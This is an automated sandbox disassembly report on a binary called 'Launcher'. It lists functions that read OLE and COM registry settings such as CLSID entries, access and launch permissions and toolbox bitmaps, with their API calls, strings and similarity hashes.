API ID: Cursor$LoadOpen$#540#800CloseH_prolog3H_prolog3_MessageQuerySendValue
String ID: All classes$Can Launch$Cannot Launch$DEFAULTLAUNCHPERMISSION$DefaultLaunchPermission$Global Launch$SOFTWARE\MICROSOFT\OLE
API String ID: 1128567903-2386912880
Opcode ID: bb5e4d8494367dc905d8097215ac1196c52efd69ba1985a0bf64355f8bea9899
Instruction ID: e170f36a2402794916e08eefb04397016911056c2820b0e6f644a108210252fd
Opcode Fuzzy Hash: bb5e4d8494367dc905d8097215ac1196c52efd69ba1985a0bf64355f8bea9899
Instruction Fuzzy Hash: 86E06D7238038076D23221654C4BF8719DDDBC5F93F1504DABA08BA3A28EA59A088264

Function 00B5E6C0 Relevance: 14.0, APIs: 1, Strings: 7, Instructions: 32windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B6B8D5: __EH_prolog3.LIBCMT ref: 00B6B8DC
Part of subcall function 00B6B8D5: LoadCursorW.USER32(00000000,00007F02), ref: 00B6B8F4
Part of subcall function 00B6B8D5: SetCursor.USER32(00000000), ref: 00B6B8FB
Part of subcall function 00B6B8D5: RegOpenKeyExW.ADVAPI32(?,?,00000000,000F003F,?), ref: 00B6B911
Part of subcall function 00B6B8D5: LoadCursorW.USER32(00000000,00007F00), ref: 00B6B924
Part of subcall function 00B6B8D5: SetCursor.USER32(00000000), ref: 00B6B92B

SendMessageW.USER32(?,00001009,00000000,00000000), ref: 00B5E704

Part of subcall function 00B6C0BC: __EH_prolog3_GS.LIBCMT ref: 00B6C0C6
Part of subcall function 00B6C0BC: #540.MFC42U(00000488,00B5C76E,?,80000000,?,AccessPermission,?,?,?,?), ref: 00B6C0F1
Part of subcall function 00B6C0BC: RegOpenKeyExW.ADVAPI32 ref: 00B6C112
Part of subcall function 00B6C0BC: RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00B6C13A
Part of subcall function 00B6C0BC: RegCloseKey.ADVAPI32(?), ref: 00B6C151
Part of subcall function 00B6C0BC: #800.MFC42U ref: 00B6C15F

Strings

All classes, xrefs: 00B5E6D4
SOFTWARE\MICROSOFT\OLE, xrefs: 00B5E6DE, 00B5E6E8, 00B5E70F
Can Access, xrefs: 00B5E6CA
DefaultAccessPermission, xrefs: 00B5E6D9
DEFAULTACCESSPERMISSION, xrefs: 00B5E70A
Cannot Access, xrefs: 00B5E6C5
Global Access, xrefs: 00B5E6CF

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: Cursor$LoadOpen$#540#800CloseH_prolog3H_prolog3_MessageQuerySendValue
String ID: All classes$Can Access$Cannot Access$DEFAULTACCESSPERMISSION$DefaultAccessPermission$Global Access$SOFTWARE\MICROSOFT\OLE
API String ID: 1128567903-1534462617
Opcode ID: 53cb94a5f37687652921d07777383516e2c2fb7c741a7b5e933069a8a4e041a4
Instruction ID: 8c1e7c4d4808503b472f86fa6fe6bb9dd7a506f106dcf7a0228d3ac29ab1f76e
Opcode Fuzzy Hash: 53cb94a5f37687652921d07777383516e2c2fb7c741a7b5e933069a8a4e041a4
Instruction Fuzzy Hash: D6E092723C0B4076D23022724C4BF836ADDD7C5F93F1500DABF08B62E2CA969E488674

Function 00B5F540 Relevance: 13.6, APIs: 9, Instructions: 56COMMON

Download Yara Rule

APIs

#2294.MFC42U(?,000000B8,?), ref: 00B5F556
#2294.MFC42U(?,000000B1,?,?,000000B8,?), ref: 00B5F568
#2294.MFC42U(?,000000B2,?,?,000000B1,?,?,000000B8,?), ref: 00B5F57A
#2294.MFC42U(?,000000A8,?,?,000000B2,?,?,000000B1,?,?,000000B8,?), ref: 00B5F58C
#2294.MFC42U(?,00000089,?,?,000000A8,?,?,000000B2,?,?,000000B1,?,?,000000B8,?), ref: 00B5F59E
#2362.MFC42U(?,000000B3,?,?,00000089,?,?,000000A8,?,?,000000B2,?,?,000000B1,?,?), ref: 00B5F5B0
#2362.MFC42U(?,0000008B,?,?,000000B3,?,?,00000089,?,?,000000A8,?,?,000000B2,?,?), ref: 00B5F5C2
#2362.MFC42U(?,00001FA5,?,?,0000008B,?,?,000000B3,?,?,00000089,?,?,000000A8,?,?), ref: 00B5F5D4
#2362.MFC42U(?,000000A9,?,?,00001FA5,?,?,0000008B,?,?,000000B3,?,?,00000089,?,?), ref: 00B5F5E6

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #2294$#2362
String ID:
API String ID: 4178481822-0
Opcode ID: e58633bced6d5a45809b51faafe11d84fbc9487d8c942ae8110a08502053bd4b
Instruction ID: ff816fce332c85b53db93cc5caa07661468862eb7acb67feea79aa3443354254
Opcode Fuzzy Hash: e58633bced6d5a45809b51faafe11d84fbc9487d8c942ae8110a08502053bd4b
Instruction Fuzzy Hash: B8011276241A157AE115F660DC46FEBB39CAF17700F404162FB24DA0C1DBA8B6158BF6

Function 00B66767 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 93registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,00000050), ref: 00B66789
RegOpenKeyW.ADVAPI32(00000000,?,?), ref: 00B667AB
RegQueryValueExW.ADVAPI32(?,409,00000000,00000000,?,00000200), ref: 00B667E0
wsprintfW.USER32 ref: 00B66813
RegCloseKey.ADVAPI32(?), ref: 00B6690C
RegCloseKey.ADVAPI32(00000000), ref: 00B6691D

Strings

%s <no name>, xrefs: 00B66807
409, xrefs: 00B667D5

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: Close$EnumOpenQueryValuewsprintf
String ID: %s <no name>$409
API String ID: 3624944744-596716345
Opcode ID: 3f1d6c35a9937ccbefff5836f3b1b229e29ca01a2e73842f86fc47d6e1f2db9c
Instruction ID: a98c4b2726b59a379a5a9ee0f8951a2c022f0dd647fc66c454625f539c61234d
Opcode Fuzzy Hash: 3f1d6c35a9937ccbefff5836f3b1b229e29ca01a2e73842f86fc47d6e1f2db9c
Instruction Fuzzy Hash: F541C671A012289FDB60DF64CC44BA9B7FABB95305F1041EAE509E7250EB369EE4CF11

Function 00B679B1 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 34registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(00B67AC1,InprocServer32,00000000), ref: 00B679C7
RegOpenKeyW.ADVAPI32(00B67AC1,InprocHandler32,00000000), ref: 00B679DD
RegOpenKeyW.ADVAPI32(00B67AC1,LocalServer32,00000000), ref: 00B679F3
RegCloseKey.ADVAPI32(00000000,?,?,00B67AC1), ref: 00B67A00

Strings

LocalServer32, xrefs: 00B679EB
InprocHandler32, xrefs: 00B679D5
InprocServer32, xrefs: 00B679BF

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: Open$Close
String ID: InprocHandler32$InprocServer32$LocalServer32
API String ID: 3083169812-2616365248
Opcode ID: 4da7fb92ac302206aef4be84183390b9192dcebe65c426fff19ade294fec0381
Instruction ID: 2eeed03bf28bfac2b9631283b84e21b39353692b5a1ac1bf0aecd33151460c96
Opcode Fuzzy Hash: 4da7fb92ac302206aef4be84183390b9192dcebe65c426fff19ade294fec0381
Instruction Fuzzy Hash: D2F01731648208FBDB11CBA1DC09AAE7AF8EB0578AB1080A4B905E1060DB74DA55EA60

Function 00B6D81B Relevance: 12.1, APIs: 8, Instructions: 78stringregistryCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00B6D19D,?,80000000,00000000), ref: 00B6D846
RegCreateKeyExW.ADVAPI32(?,?,00000000,00B521A0,00000000,000F003F,00000000,?,?,?,80000000,00000000), ref: 00B6D881
lstrcpyW.KERNEL32(?,00B6D19D,?,80000000,00000000), ref: 00B6D899
lstrlenW.KERNEL32(80000000,?,80000000,00000000), ref: 00B6D8A0
lstrlenW.KERNEL32(?,?,80000000,00000000), ref: 00B6D8B1
RegSetValueExW.ADVAPI32(?,80000000,00000000,00000001,?,00000000,?,80000000,00000000), ref: 00B6D8EA
RegCloseKey.ADVAPI32(?,?,80000000,00000000), ref: 00B6D8FC

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: lstrlen$CloseCreateValuelstrcpy
String ID:
API String ID: 2938206059-0
Opcode ID: f41a94df5bc02b4ad469b32648f20bc9ca6d74776b701e6a1ec2fb59d789ec1b
Instruction ID: 779247314c0a3ff5a243a0c44c7552daf58000130bda92c07f64c5e850fab69f
Opcode Fuzzy Hash: f41a94df5bc02b4ad469b32648f20bc9ca6d74776b701e6a1ec2fb59d789ec1b
Instruction Fuzzy Hash: 102119B1A40219EBDB109FA5ED48BEB77BDEB44301F004596F619E31A1DB749A848F60

Function 00B620C0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 223windowCOMMON

Download Yara Rule

APIs

GetMessagePos.USER32 ref: 00B6210B

Part of subcall function 00B691B7: ScreenToClient.USER32(?,?), ref: 00B691C2

#3909.MFC42U(?,?,?,?,?,?), ref: 00B6218B

Part of subcall function 00B691E9: SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00B691FB

Part of subcall function 00B678FA: SendMessageW.USER32(?,0000113E,00000000,00000014), ref: 00B6790C

#6266.MFC42U(00000002,?,?,?,00000000,00000014,00000000,?,?,?,?,?), ref: 00B62479
#2430.MFC42U(00000002,?,?,?,00000000,00000014,00000000,?,?,?,?,?), ref: 00B62484
#2430.MFC42U(00000002,?,?,?,00000000,00000014,00000000,?,?,?,?,?), ref: 00B6248F

Strings

TypeLib, xrefs: 00B6229D

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: Message$#2430Send$#3909#6266ClientScreen
String ID: TypeLib
API String ID: 852555880-4260498707
Opcode ID: 3302d6b5f35a53a541814e8989e2c8ec0cc152bd1c082a580b32587dd6246f21
Instruction ID: 0dcc0efbbb482d5544f180d33d9090928e0e37877ed5d97dd49cf3152c0d57b7
Opcode Fuzzy Hash: 3302d6b5f35a53a541814e8989e2c8ec0cc152bd1c082a580b32587dd6246f21
Instruction Fuzzy Hash: F5A109319416299BEB34EB54CC8EBECB3F1AB14305F1041E9A519662E1CB785FC4CF11

Function 00B6DB5F Relevance: 10.6, APIs: 7, Instructions: 121COMMON

Download Yara Rule

APIs

isspace.MSVCRT ref: 00B6DB7C
isdigit.MSVCRT ref: 00B6DBCD
toupper.MSVCRT ref: 00B6DBE3
isxdigit.MSVCRT ref: 00B6DBF6
isdigit.MSVCRT ref: 00B6DC1A
isspace.MSVCRT ref: 00B6DC2E
isspace.MSVCRT ref: 00B6DC49

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: isspace$isdigit$isxdigittoupper
String ID:
API String ID: 4280169866-0
Opcode ID: 260c172f98b4823eb9348f5213145fa680efdf3d6c5a263fb2d1429a60e2ac84
Instruction ID: 89b3a25fdeb10900751baef853955541894a51c5f92fed447c0719d6f6216831
Opcode Fuzzy Hash: 260c172f98b4823eb9348f5213145fa680efdf3d6c5a263fb2d1429a60e2ac84
Instruction Fuzzy Hash: 4C31A0B2F00129D7CB241F69984047677E8EF5537232A456AFC99C7284EB78CC80D6A0

Function 00B5D6B6 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B5D6BD
#364.MFC42U(0000007A,00000008,00B5D2DA,00000004), ref: 00B5D6C9

Part of subcall function 00B5C4B6: __EH_prolog3.LIBCMT ref: 00B5C4BD
Part of subcall function 00B5C4B6: #324.MFC42U(00000088,00000000,00000008,00B5BFBA,00000004), ref: 00B5C4CE
Part of subcall function 00B5C4B6: #567.MFC42U(00000088,00000000,00000008,00B5BFBA,00000004), ref: 00B5C4E5
Part of subcall function 00B5C4B6: #567.MFC42U(00000088,00000000,00000008,00B5BFBA,00000004), ref: 00B5C500
Part of subcall function 00B5C4B6: #567.MFC42U(00000088,00000000,00000008,00B5BFBA,00000004), ref: 00B5C516
Part of subcall function 00B5C4B6: #567.MFC42U(00000088,00000000,00000008,00B5BFBA,00000004), ref: 00B5C52C

Part of subcall function 00B609D5: __EH_prolog3.LIBCMT ref: 00B609DC
Part of subcall function 00B609D5: #324.MFC42U(00000087,00000000,00000008,00B5D6F2,0000007A,00000008,00B5D2DA,00000004), ref: 00B609ED
Part of subcall function 00B609D5: #567.MFC42U(00000087,00000000,00000008,00B5D6F2,0000007A,00000008,00B5D2DA,00000004), ref: 00B60A04
Part of subcall function 00B609D5: #567.MFC42U(00000087,00000000,00000008,00B5D6F2,0000007A,00000008,00B5D2DA,00000004), ref: 00B60A1F
Part of subcall function 00B609D5: #567.MFC42U(00000087,00000000,00000008,00B5D6F2,0000007A,00000008,00B5D2DA,00000004), ref: 00B60A35
Part of subcall function 00B609D5: #567.MFC42U(00000087,00000000,00000008,00B5D6F2,0000007A,00000008,00B5D2DA,00000004), ref: 00B60A4B
Part of subcall function 00B609D5: #567.MFC42U(00000087,00000000,00000008,00B5D6F2,0000007A,00000008,00B5D2DA,00000004), ref: 00B60A61

Part of subcall function 00B5F346: __EH_prolog3.LIBCMT ref: 00B5F34D
Part of subcall function 00B5F346: #324.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F35E
Part of subcall function 00B5F346: #567.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F375
Part of subcall function 00B5F346: #567.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F38F
Part of subcall function 00B5F346: #567.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F3AA
Part of subcall function 00B5F346: #567.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F3C0
Part of subcall function 00B5F346: #567.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F3DA
Part of subcall function 00B5F346: #540.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F3EF
Part of subcall function 00B5F346: #540.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F400
Part of subcall function 00B5F346: #540.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F40F
Part of subcall function 00B5F346: #540.MFC42U(0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F420
Part of subcall function 00B5F346: #861.MFC42U(00B521A0,0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F436
Part of subcall function 00B5F346: #861.MFC42U(00B521A0,00B521A0,0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F442
Part of subcall function 00B5F346: #861.MFC42U(00B521A0,00B521A0,00B521A0,0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F453
Part of subcall function 00B5F346: #861.MFC42U(00B521A0,00B521A0,00B521A0,00B521A0,0000008B,00000000,00000008,00B5D701,0000007A,00000008,00B5D2DA,00000004), ref: 00B5F45F

Part of subcall function 00B5C962: __EH_prolog3.LIBCMT ref: 00B5C969
Part of subcall function 00B5C962: #324.MFC42U(00000085,00000000,00000008,00B5C91A,00000004), ref: 00B5C97A
Part of subcall function 00B5C962: #567.MFC42U(00000085,00000000,00000008,00B5C91A,00000004), ref: 00B5C991
Part of subcall function 00B5C962: #567.MFC42U(00000085,00000000,00000008,00B5C91A,00000004), ref: 00B5C9AB
Part of subcall function 00B5C962: #540.MFC42U(00000085,00000000,00000008,00B5C91A,00000004), ref: 00B5C9C2
Part of subcall function 00B5C962: #540.MFC42U(00000085,00000000,00000008,00B5C91A,00000004), ref: 00B5C9D1
Part of subcall function 00B5C962: #861.MFC42U(00B521A0), ref: 00B5C9E8

Part of subcall function 00B69485: __EH_prolog3.LIBCMT ref: 00B6948C
Part of subcall function 00B69485: #326.MFC42U(00000008,00B5D71F,0000007A,00000008,00B5D2DA,00000004), ref: 00B69496
Part of subcall function 00B69485: #567.MFC42U(00000008,00B5D71F,0000007A,00000008,00B5D2DA,00000004), ref: 00B694AD

#567.MFC42U(0000007A,00000008,00B5D2DA,00000004), ref: 00B5D72E
#567.MFC42U(0000007A,00000008,00B5D2DA,00000004), ref: 00B5D748
#567.MFC42U(0000007A,00000008,00B5D2DA,00000004), ref: 00B5D763
#567.MFC42U(0000007A,00000008,00B5D2DA,00000004), ref: 00B5D779
#567.MFC42U(0000007A,00000008,00B5D2DA,00000004), ref: 00B5D78F

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #567$#540H_prolog3$#861$#324$#326#364
String ID:
API String ID: 797904982-0
Opcode ID: a06c7beafa08447736df1dc56552ca90104cfe2f08a509851d381a17f5a8f96a
Instruction ID: 9a6b753dbd43221ceb7abdbcd7a816b01687900b3e1c056b2cdb5bff922d720a
Opcode Fuzzy Hash: a06c7beafa08447736df1dc56552ca90104cfe2f08a509851d381a17f5a8f96a
Instruction Fuzzy Hash: 1B211775A0565ADADB05EFA485013ECFAE0BF1A304F5041CDE89537282CB782B09DBD2

Function 00B609D5 Relevance: 10.5, APIs: 7, Instructions: 43COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B609DC
#324.MFC42U(00000087,00000000,00000008,00B5D6F2,0000007A,00000008,00B5D2DA,00000004), ref: 00B609ED
#567.MFC42U(00000087,00000000,00000008,00B5D6F2,0000007A,00000008,00B5D2DA,00000004), ref: 00B60A04
#567.MFC42U(00000087,00000000,00000008,00B5D6F2,0000007A,00000008,00B5D2DA,00000004), ref: 00B60A1F
#567.MFC42U(00000087,00000000,00000008,00B5D6F2,0000007A,00000008,00B5D2DA,00000004), ref: 00B60A35
#567.MFC42U(00000087,00000000,00000008,00B5D6F2,0000007A,00000008,00B5D2DA,00000004), ref: 00B60A4B
#567.MFC42U(00000087,00000000,00000008,00B5D6F2,0000007A,00000008,00B5D2DA,00000004), ref: 00B60A61

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #567$#324H_prolog3
String ID:
API String ID: 3217428371-0
Opcode ID: 8e7e143120bb39c5a66ea2b2d43b05c325423a00c8f0714cb9d13ba04487adde
Instruction ID: e7b84d23a46537434610adc6ac0c4ba834578626ac092c2b8b5f95b9969ded47
Opcode Fuzzy Hash: 8e7e143120bb39c5a66ea2b2d43b05c325423a00c8f0714cb9d13ba04487adde
Instruction Fuzzy Hash: FA113C76A01256DBDB05DFA489023DCBAF0BF45700F60408EE59437381CBB86B45DBD6

Function 00B5ED46 Relevance: 10.5, APIs: 7, Instructions: 42COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B5ED50
#498.MFC42U(00000090), ref: 00B5ED5A

Part of subcall function 00B5E941: __EH_prolog3.LIBCMT ref: 00B5E948
Part of subcall function 00B5E941: #489.MFC42U(0000008F,00000000,00000008,00B5E8DA,00000004), ref: 00B5E959
Part of subcall function 00B5E941: #567.MFC42U(0000008F,00000000,00000008,00B5E8DA,00000004), ref: 00B5E973

Part of subcall function 00B5E736: __EH_prolog3.LIBCMT ref: 00B5E73D
Part of subcall function 00B5E736: #489.MFC42U(00000090,00000000,00000008,00B5E6BA,00000004), ref: 00B5E74E
Part of subcall function 00B5E736: #567.MFC42U(00000090,00000000,00000008,00B5E6BA,00000004), ref: 00B5E768

Part of subcall function 00B6B460: __EH_prolog3.LIBCMT ref: 00B6B467
Part of subcall function 00B6B460: #489.MFC42U(0000008D,00000000,00000008,00B5ED96,00000090), ref: 00B6B478
Part of subcall function 00B6B460: #567.MFC42U(0000008D,00000000,00000008,00B5ED96,00000090), ref: 00B6B492
Part of subcall function 00B6B460: #567.MFC42U(0000008D,00000000,00000008,00B5ED96,00000090), ref: 00B6B4AD

#497.MFC42U(00B521A0,?,00000000,00000090), ref: 00B5EDAA
#771.MFC42U(00B521A0,?,00000000,00000090), ref: 00B5EDB5
#1008.MFC42U(?,00B521A0,?,00000000,00000090), ref: 00B5EDBD

Part of subcall function 00B6D4CD: GetVersionExW.KERNEL32(?), ref: 00B6D4F3

#1008.MFC42U(?,?,00B521A0,?,00000000,00000090), ref: 00B5EDCE
#1008.MFC42U(?,?,?,00B521A0,?,00000000,00000090), ref: 00B5EDDC

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: #567H_prolog3$#1008#489$#497#498#771Version
String ID:
API String ID: 3371278394-0
Opcode ID: 7928b52bea2fd7095725fe4a42d913a58d3db5b4a8552886ff5bfc3a1d1334af
Instruction ID: 5f8612c73f22df1673cbf8f2a851a49920651699f8f5b684f3add021e1796c9f
Opcode Fuzzy Hash: 7928b52bea2fd7095725fe4a42d913a58d3db5b4a8552886ff5bfc3a1d1334af
Instruction Fuzzy Hash: E3019234B00205AADB14F7748895BACBBE56F54300F1040D9E81467382DF789B089BA1

Function 00B65F0E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 42registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(80000000,CLSID,?), ref: 00B65F63
RegEnumKeyW.ADVAPI32(?,00000000,?,00000040), ref: 00B65F9C
wsprintfW.USER32 ref: 00B65FD4
RegOpenKeyW.ADVAPI32(?,?,?), ref: 00B65FF1
RegCloseKey.ADVAPI32(?), ref: 00B66006
RegQueryValueW.ADVAPI32(?,?,?,00000100), ref: 00B66202
wsprintfW.USER32 ref: 00B66231
#1083.MFC42U(?), ref: 00B662E2
RegCloseKey.ADVAPI32(?), ref: 00B66377

Strings

%s\Implemented Categories\%s, xrefs: 00B65FC8
CLSID, xrefs: 00B65F59

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: CloseOpenwsprintf$#1083EnumQueryValue
String ID: %s\Implemented Categories\%s$CLSID
API String ID: 2375140502-1315529758
Opcode ID: 2aece83a3336ee3be8555169464851cb55c78dcaaffc382523832f092e542140
Instruction ID: a1b821610971d70ea91173a20b2234617c25a189b714d272b4068118bebc03bd
Opcode Fuzzy Hash: 2aece83a3336ee3be8555169464851cb55c78dcaaffc382523832f092e542140
Instruction Fuzzy Hash: 36119771D08628AEEB22DB61CC44BA9B7FCFB18342F0440E9E50DE2150D779AF949F51

Function 00B67C94 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap32,?,00000208), ref: 00B67E9A
RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap,?,00000208), ref: 00B67EBD
#861.MFC42U(?), ref: 00B67EDA
RegCloseKey.ADVAPI32(00000000,?), ref: 00B67EEE

Strings

ToolboxBitmap32, xrefs: 00B67E8F
ToolboxBitmap, xrefs: 00B67EB2

Memory Dump Source

Source File: 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00B50000, based on PE: true

Associated: 00000006.00000002.1872840162.0000000000B50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872939961.0000000000B73000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000006.00000002.1872993276.0000000000B74000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b50000_Launcher.jbxd

Similarity

API ID: QueryValue$#861Close
String ID: ToolboxBitmap$ToolboxBitmap32
API String ID: 1198224557-4222126835
Opcode ID: 53746981ff1062f89c5bbbb75fc8c77615162c0b49acdf2d355bf44ae5b4335b
Instruction ID: c5a3db1fcd52cd3d980377755bad79df255f0463cbf8d5b487898b22ac820b87
Opcode Fuzzy Hash: 53746981ff1062f89c5bbbb75fc8c77615162c0b49acdf2d355bf44ae5b4335b
Instruction Fuzzy Hash: 3E01DB7598011D9BCB60DB10CC99BE977B8FB24306F1001E5E51EA61A1DF759E88CF50

Function 00B67CEB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41registryCOMMON

Download Yara Rule

APIs

RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap32,?,00000208), ref: 00B67E9A
RegQueryValueW.ADVAPI32(00000000,ToolboxBitmap,?,00000208), ref: 00B67EBD
